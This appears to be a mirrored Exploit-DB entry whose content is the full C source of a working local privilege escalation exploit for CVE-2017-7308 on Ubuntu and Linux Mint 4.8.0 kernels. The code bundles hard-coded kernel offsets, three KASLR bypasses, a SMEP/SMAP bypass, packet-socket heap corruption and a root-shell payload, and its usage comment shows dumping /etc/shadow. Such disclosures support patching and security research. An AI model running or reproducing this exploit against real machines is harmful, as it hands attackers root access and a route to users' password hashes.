Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation

  • 作者: bcoles
    日期: 2018-12-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47168/
  • // A proof-of-concept local root exploit for CVE-2017-7308.
    // Includes a SMEP & SMAP bypass.
    // Tested on Ubuntu / Linux Mint:
    // - 4.8.0-34-generic
    // - 4.8.0-36-generic
    // - 4.8.0-39-generic
    // - 4.8.0-41-generic
    // - 4.8.0-42-generic
    // - 4.8.0-44-generic
    // - 4.8.0-45-generic
    // https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
    //
    // Usage:
    // user@ubuntu:~$ uname -a
    // Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
    // user@ubuntu:~$ gcc pwn.c -o pwn
    // user@ubuntu:~$ ./pwn 
    // [.] starting
    // [.] system has 2 processors
    // [.] checking kernel version
    // [.] kernel version '4.8.0-41-generic' detected
    // [~] done, version looks good
    // [.] checking SMEP and SMAP
    // [~] done, looks good
    // [.] setting up namespace sandbox
    // [~] done, namespace sandbox set up
    // [.] KASLR bypass enabled, getting kernel addr
    // [.] done, kernel text: ffffffff87000000
    // [.] commit_creds:ffffffff870a5cf0
    // [.] prepare_kernel_cred: ffffffff870a60e0
    // [.] native_write_cr4:ffffffff87064210
    // [.] padding heap
    // [.] done, heap is padded
    // [.] SMEP & SMAP bypass enabled, turning them off
    // [.] done, SMEP & SMAP should be off now
    // [.] executing get root payload 0x401516
    // [.] done, should be root now
    // [.] checking if we got root
    // [+] got r00t ^_^
    // root@ubuntu:/home/user# cat /etc/shadow
    // root:!:17246:0:99999:7:::
    // daemon:*:17212:0:99999:7:::
    // bin:*:17212:0:99999:7:::
    // ...
    //
    // Andrey Konovalov <andreyknvl@gmail.com>
    // ---
    // Updated by <bcoles@gmail.com>
    // - support for systems with SMEP but no SMAP
    // - check number of CPU cores
    // - additional kernel targets
    // - additional KASLR bypasses
    // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-7308
    
    #define _GNU_SOURCE
    
    #include <assert.h>
    #include <fcntl.h>
    #include <stdarg.h>
    #include <stdbool.h>
    #include <stddef.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sched.h>
    
    #include <sys/ioctl.h>
    #include <sys/klog.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/syscall.h>
    #include <sys/sysinfo.h>
    #include <sys/types.h>
    #include <sys/utsname.h>
    #include <sys/wait.h>
    
    #include <arpa/inet.h>
    #include <linux/if_packet.h>
    #include <linux/ip.h>
    #include <linux/udp.h>
    #include <netinet/if_ether.h>
    #include <net/if.h>
    
    #define DEBUG
    
    #ifdef DEBUG
    # define dprintf printf
    #else
    # define dprintf
    #endif
    
    #define ENABLE_KASLR_BYPASS		1
    #define ENABLE_SMEP_SMAP_BYPASS		1
    
    char *SHELL = "/bin/bash";
    
    // Will be overwritten if ENABLE_KASLR_BYPASS
    unsigned long KERNEL_BASE = 		0xffffffff81000000ul;
    
    // Will be overwritten by detect_versions().
    int kernel = -1;
    
    struct kernel_info {
    	const char* version;
    	uint64_t commit_creds;
    	uint64_t prepare_kernel_cred;
    	uint64_t native_write_cr4;
    };
    
    struct kernel_info kernels[] = {
    	{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
    	{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
    	{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
    	{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
    	{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
    	{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
    	{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
    };
    
    // Used to get root privileges.
    #define COMMIT_CREDS			(KERNEL_BASE + kernels[kernel].commit_creds)
    #define PREPARE_KERNEL_CRED		(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
    #define NATIVE_WRITE_CR4		(KERNEL_BASE + kernels[kernel].native_write_cr4)
    
    // Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
    unsigned long CR4_DESIRED_VALUE =	0x406e0ul;
    
    #define KMALLOC_PAD			512
    #define PAGEALLOC_PAD			1024
    
    // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
    
    typedef uint32_t u32;
    
    // $ pahole -C hlist_node ./vmlinux
    struct hlist_node {
    	struct hlist_node *next; /* 0 8 */
    	struct hlist_node * *pprev;/* 8 8 */
    };
    
    // $ pahole -C timer_list ./vmlinux
    struct timer_list {
    	struct hlist_nodeentry;/* 016 */
    	long unsigned intexpires;/*16 8 */
    	void (*function)(long unsigned int); /*24 8 */
    	long unsigned intdata; /*32 8 */
    	u32flags;/*40 4 */
    	intstart_pid;/*44 4 */
    	void * start_site; /*48 8 */
    	char start_comm[16]; /*5616 */
    };
    
    // packet_sock->rx_ring->prb_bdqc->retire_blk_timer
    #define TIMER_OFFSET	896
    
    // pakcet_sock->xmit
    #define XMIT_OFFSET	1304
    
    // * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
    
    void packet_socket_rx_ring_init(int s, unsigned int block_size,
    		unsigned int frame_size, unsigned int block_nr,
    		unsigned int sizeof_priv, unsigned int timeout) {
    	int v = TPACKET_V3;
    	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    	if (rv < 0) {
    		dprintf("[-] setsockopt(PACKET_VERSION)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	struct tpacket_req3 req;
    	memset(&req, 0, sizeof(req));
    	req.tp_block_size = block_size;
    	req.tp_frame_size = frame_size;
    	req.tp_block_nr = block_nr;
    	req.tp_frame_nr = (block_size * block_nr) / frame_size;
    	req.tp_retire_blk_tov = timeout;
    	req.tp_sizeof_priv = sizeof_priv;
    	req.tp_feature_req_word = 0;
    
    	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    	if (rv < 0) {
    		dprintf("[-] setsockopt(PACKET_RX_RING)\n");
    		exit(EXIT_FAILURE);
    	}
    }
    
    int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
    		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    	if (s < 0) {
    		dprintf("[-] socket(AF_PACKET)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
    		sizeof_priv, timeout);
    
    	struct sockaddr_ll sa;
    	memset(&sa, 0, sizeof(sa));
    	sa.sll_family = PF_PACKET;
    	sa.sll_protocol = htons(ETH_P_ALL);
    	sa.sll_ifindex = if_nametoindex("lo");
    	sa.sll_hatype = 0;
    	sa.sll_pkttype = 0;
    	sa.sll_halen = 0;
    
    	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    	if (rv < 0) {
    		dprintf("[-] bind(AF_PACKET)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	return s;
    }
    
    void packet_socket_send(int s, char *buffer, int size) {
    	struct sockaddr_ll sa;
    	memset(&sa, 0, sizeof(sa));
    	sa.sll_ifindex = if_nametoindex("lo");
    	sa.sll_halen = ETH_ALEN;
    
    	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
    			sizeof(sa)) < 0) {
    		dprintf("[-] sendto(SOCK_RAW)\n");
    		exit(EXIT_FAILURE);
    	}
    }
    
    void loopback_send(char *buffer, int size) {
    	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
    	if (s == -1) {
    		dprintf("[-] socket(SOCK_RAW)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	packet_socket_send(s, buffer, size);
    }
    
    int packet_sock_kmalloc() {
    	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    	if (s == -1) {
    		dprintf("[-] socket(SOCK_DGRAM)\n");
    		exit(EXIT_FAILURE);
    	}
    	return s;
    }
    
    void packet_sock_timer_schedule(int s, int timeout) {
    	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
    }
    
    void packet_sock_id_match_trigger(int s) {
    	char buffer[16];
    	packet_socket_send(s, &buffer[0], sizeof(buffer));
    }
    
    // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
    
    #define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
    #define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
    #define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))
    
    #define V3_ALIGNMENT	(8)
    #define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
    
    #define ETH_HDR_LEN	sizeof(struct ethhdr)
    #define IP_HDR_LEN	sizeof(struct iphdr)
    #define UDP_HDR_LEN	sizeof(struct udphdr)
    
    #define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
    
    int oob_setup(int offset) {
    	unsigned int maclen = ETH_HDR_LEN;
    	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
    				(maclen < 16 ? 16 : maclen));
    	unsigned int macoff = netoff - maclen;
    	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
    		0x8000 - BLK_HDR_LEN - macoff + offset;
    	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
    }
    
    void oob_write(char *buffer, int size) {
    	loopback_send(buffer, size);
    }
    
    void oob_timer_execute(void *func, unsigned long arg) {
    	oob_setup(2048 + TIMER_OFFSET - 8);
    
    	int i;
    	for (i = 0; i < 32; i++) {
    		int timer = packet_sock_kmalloc();
    		packet_sock_timer_schedule(timer, 1000);
    	}
    
    	char buffer[2048];
    	memset(&buffer[0], 0, sizeof(buffer));
    
    	struct timer_list *timer = (struct timer_list *)&buffer[8];
    	timer->function = func;
    	timer->data = arg;
    	timer->flags = 1;
    
    	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
    
    	sleep(1);
    }
    
    void oob_id_match_execute(void *func) {
    	int s = oob_setup(2048 + XMIT_OFFSET - 64);
    
    	int ps[32];
    
    	int i;
    	for (i = 0; i < 32; i++)
    		ps[i] = packet_sock_kmalloc();
    
    	char buffer[2048];
    	memset(&buffer[0], 0, 2048);
    
    	void **xmit = (void **)&buffer[64];
    	*xmit = func;
    
    	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
    
    	for (i = 0; i < 32; i++)
    		packet_sock_id_match_trigger(ps[i]);
    }
    
    // * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
    
    void kmalloc_pad(int count) {
    	int i;
    	for (i = 0; i < count; i++)
    		packet_sock_kmalloc();
    }
    
    void pagealloc_pad(int count) {
    	packet_socket_setup(0x8000, 2048, count, 0, 100);
    }
    
    // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
    
    typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    
    void get_root_payload(void) {
    	((_commit_creds)(COMMIT_CREDS))(
    		((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
    	);
    }
    
    // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
    
    #define CHUNK_SIZE 1024
    
    int read_file(const char* file, char* buffer, int max_length) {
    	int f = open(file, O_RDONLY);
    	if (f == -1)
    		return -1;
    	int bytes_read = 0;
    	while (true) {
    		int bytes_to_read = CHUNK_SIZE;
    		if (bytes_to_read > max_length - bytes_read)
    			bytes_to_read = max_length - bytes_read;
    		int rv = read(f, &buffer[bytes_read], bytes_to_read);
    		if (rv == -1)
    			return -1;
    		bytes_read += rv;
    		if (rv == 0)
    			return bytes_read;
    	}
    }
    
    void get_kernel_version(char* output, int max_length) {
    struct utsname u;
    int rv = uname(&u);
    if (rv != 0) {
    dprintf("[-] uname())\n");
    exit(EXIT_FAILURE);
    }
    assert(strlen(u.release) <= max_length);
    strcpy(&output[0], u.release);
    }
    
    #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
    
    #define KERNEL_VERSION_LENGTH 32
    
    void detect_versions() {
    	char version[KERNEL_VERSION_LENGTH];
    
    	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
    
    	int i;
    	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
    		if (strcmp(&version[0], kernels[i].version) == 0) {
    			dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
    			kernel = i;
    			return;
    		}
    	}
    
    	dprintf("[-] kernel version not recognized\n");
    	exit(EXIT_FAILURE);
    }
    
    #define PROC_CPUINFO_LENGTH 4096
    
    // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
    int smap_smep_enabled() {
    	char buffer[PROC_CPUINFO_LENGTH];
    	char* path = "/proc/cpuinfo";
    	int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
    	if (length == -1) {
    		dprintf("[-] open/read(%s)\n", path);
    		exit(EXIT_FAILURE);
    	}
    
    	int rv = 0;
    	char* found = memmem(&buffer[0], length, "smep", 4);
    	if (found != NULL)
    		rv += 1;
    	found = memmem(&buffer[0], length, "smap", 4);
    	if (found != NULL)
    		rv += 2;
    	return rv;
    }
    
    void check_smep_smap() {
    	int rv = smap_smep_enabled();
    
    #if !ENABLE_SMEP_SMAP_BYPASS
    	if (rv >= 1) {
    		dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
    		exit(EXIT_FAILURE);
    	}
    #endif
    
    	switch(rv) {
    	case 1: // SMEP
    		CR4_DESIRED_VALUE = 0x406e0ul;
    		break;
    	case 2: // SMAP
    		CR4_DESIRED_VALUE = 0x407f0ul;
    		break;
    	case 3: // SMEP and SMAP
    		CR4_DESIRED_VALUE = 0x407f0ul;
    		break;
    	}
    }
    
    // * * * * * * * * * * * * * Syslog KASLR bypass * * * * * * * * * * * * * * *
    
    #define SYSLOG_ACTION_READ_ALL 3
    #define SYSLOG_ACTION_SIZE_BUFFER 10
    
    unsigned long get_kernel_addr_syslog() {
    	dprintf("[.] trying syslog...\n");
    
    	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
    	if (size == -1) {
    		dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	size = (size / getpagesize() + 1) * getpagesize();
    	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
    		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    
    	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
    	if (size == -1) {
    		dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	const char *needle1 = "Freeing SMP";
    	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
    	if (substr == NULL) {
    		dprintf("[-] substring '%s' not found in dmesg\n", needle1);
    		exit(EXIT_FAILURE);
    	}
    
    	for (size = 0; substr[size] != '\n'; size++);
    
    	const char *needle2 = "ffff";
    	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
    	if (substr == NULL) {
    		dprintf("[-] substring '%s' not found in dmesg\n", needle2);
    		exit(EXIT_FAILURE);
    	}
    
    	char *endptr = &substr[16];
    	unsigned long r = strtoul(&substr[0], &endptr, 16);
    
    	r &= 0xfffffffffff00000ul;
    	r -= 0x1000000ul;
    
    	return r;
    }
    
    // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
    
    unsigned long get_kernel_addr_kallsyms() {
    	FILE *f;
    	unsigned long addr = 0;
    	char dummy;
    	char sname[256];
    	char* name = "startup_64";
    	char* path = "/proc/kallsyms";
    
    	dprintf("[.] trying %s...\n", path);
    	f = fopen(path, "r");
    	if (f == NULL) {
    		dprintf("[-] open/read(%s)\n", path);
    		return 0;
    	}
    
    	int ret = 0;
    	while (ret != EOF) {
    		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			fclose(f);
    			return addr;
    		}
    	}
    
    	fclose(f);
    	dprintf("[-] kernel base not found in %s\n", path);
    	return 0;
    }
    
    // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
    
    unsigned long get_kernel_addr_sysmap() {
    	FILE *f;
    	unsigned long addr = 0;
    	char path[512] = "/boot/System.map-";
    	char version[32];
    	get_kernel_version(&version[0], 32);
    	strcat(path, &version[0]);
    	dprintf("[.] trying %s...\n", path);
    	f = fopen(path, "r");
    	if (f == NULL) {
    		dprintf("[-] open/read(%s)\n", path);
    		return 0;
    	}
    
    	char dummy;
    	char sname[256];
    	char* name = "startup_64";
    	int ret = 0;
    	while (ret != EOF) {
    		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    		if (!strcmp(name, sname)) {
    			fclose(f);
    			return addr;
    		}
    	}
    
    	fclose(f);
    	dprintf("[-] kernel base not found in %s\n", path);
    	return 0;
    }
    
    // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
    
    unsigned long get_kernel_addr() {
    	unsigned long addr = 0;
    
    	addr = get_kernel_addr_kallsyms();
    if (addr) return addr;
    
    	addr = get_kernel_addr_sysmap();
    	if (addr) return addr;
    
    	addr = get_kernel_addr_syslog();
    	if (addr) return addr;
    
    	dprintf("[-] KASLR bypass failed\n");
    	exit(EXIT_FAILURE);
    
    	return 0;
    }
    
    // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
    
    void check_procs() {
    	int min_procs = 2;
    
    	int nprocs = 0;
    	nprocs = get_nprocs_conf();
    
    	if (nprocs < min_procs) {
    		dprintf("[-] system has less than %d processor cores\n", min_procs);
    		exit(EXIT_FAILURE);
    	}
    
    	dprintf("[.] system has %d processors\n", nprocs);
    }
    
    void exec_shell() {
    	int fd;
    
    	fd = open("/proc/1/ns/net", O_RDONLY);
    	if (fd == -1) {
    		dprintf("error opening /proc/1/ns/net\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if (setns(fd, CLONE_NEWNET) == -1) {
    		dprintf("error calling setns\n");
    		exit(EXIT_FAILURE);
    	}
    
    	system(SHELL);
    }
    
    void fork_shell() {
    	pid_t rv;
    
    	rv = fork();
    	if (rv == -1) {
    		dprintf("[-] fork()\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if (rv == 0) {
    		exec_shell();
    	}
    }
    
    bool is_root() {
    	// We can't simple check uid, since we're running inside a namespace
    	// with uid set to 0. Try opening /etc/shadow instead.
    	int fd = open("/etc/shadow", O_RDONLY);
    	if (fd == -1)
    		return false;
    	close(fd);
    	return true;
    }
    
    void check_root() {
    	dprintf("[.] checking if we got root\n");
    
    	if (!is_root()) {
    		dprintf("[-] something went wrong =(\n");
    		return;
    	}
    
    	dprintf("[+] got r00t ^_^\n");
    
    	// Fork and exec instead of just doing the exec to avoid potential
    	// memory corruptions when closing packet sockets.
    	fork_shell();
    }
    
    bool write_file(const char* file, const char* what, ...) {
    	char buf[1024];
    	va_list args;
    	va_start(args, what);
    	vsnprintf(buf, sizeof(buf), what, args);
    	va_end(args);
    	buf[sizeof(buf) - 1] = 0;
    	int len = strlen(buf);
    
    	int fd = open(file, O_WRONLY | O_CLOEXEC);
    	if (fd == -1)
    		return false;
    	if (write(fd, buf, len) != len) {
    		close(fd);
    		return false;
    	}
    	close(fd);
    	return true;
    }
    
    void setup_sandbox() {
    	int real_uid = getuid();
    	int real_gid = getgid();
    
    if (unshare(CLONE_NEWUSER) != 0) {
    		dprintf("[-] unshare(CLONE_NEWUSER)\n");
    		exit(EXIT_FAILURE);
    	}
    
    if (unshare(CLONE_NEWNET) != 0) {
    		dprintf("[-] unshare(CLONE_NEWUSER)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if (!write_file("/proc/self/setgroups", "deny")) {
    		dprintf("[-] write_file(/proc/self/set_groups)\n");
    		exit(EXIT_FAILURE);
    	}
    	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
    		dprintf("[-] write_file(/proc/self/uid_map)\n");
    		exit(EXIT_FAILURE);
    	}
    	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
    		dprintf("[-] write_file(/proc/self/gid_map)\n");
    		exit(EXIT_FAILURE);
    	}
    
    	cpu_set_t my_set;
    	CPU_ZERO(&my_set);
    	CPU_SET(0, &my_set);
    	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
    		dprintf("[-] sched_setaffinity()\n");
    		exit(EXIT_FAILURE);
    	}
    
    	if (system("/sbin/ifconfig lo up") != 0) {
    		dprintf("[-] system(/sbin/ifconfig lo up)\n");
    		exit(EXIT_FAILURE);
    	}
    }
    
    int main(int argc, char *argv[]) {
    	if (argc > 1) SHELL = argv[1];
    
    	dprintf("[.] starting\n");
    
    	check_procs();
    
    	dprintf("[.] checking kernel version\n");
    	detect_versions();
    	dprintf("[~] done, version looks good\n");
    
    	dprintf("[.] checking SMEP and SMAP\n");
    	check_smep_smap();
    	dprintf("[~] done, looks good\n");
    
    	dprintf("[.] setting up namespace sandbox\n");
    	setup_sandbox();
    	dprintf("[~] done, namespace sandbox set up\n");
    
    #if ENABLE_KASLR_BYPASS
    	dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
    	KERNEL_BASE = get_kernel_addr();
    	dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
    #endif
    
    	dprintf("[.] commit_creds:%lx\n", COMMIT_CREDS);
    	dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
    
    #if ENABLE_SMEP_SMAP_BYPASS
    	dprintf("[.] native_write_cr4:%lx\n", NATIVE_WRITE_CR4);
    #endif
    
    	dprintf("[.] padding heap\n");
    	kmalloc_pad(KMALLOC_PAD);
    	pagealloc_pad(PAGEALLOC_PAD);
    	dprintf("[.] done, heap is padded\n");
    
    #if ENABLE_SMEP_SMAP_BYPASS
    	dprintf("[.] SMEP & SMAP bypass enabled, turning them off\n");
    	oob_timer_execute((void *)(NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
    	dprintf("[.] done, SMEP & SMAP should be off now\n");
    #endif
    
    	dprintf("[.] executing get root payload %p\n", &get_root_payload);
    	oob_id_match_execute((void *)&get_root_payload);
    	dprintf("[.] done, should be root now\n");
    
    	check_root();
    
    	while (1) sleep(1000);
    
    	return 0;
    }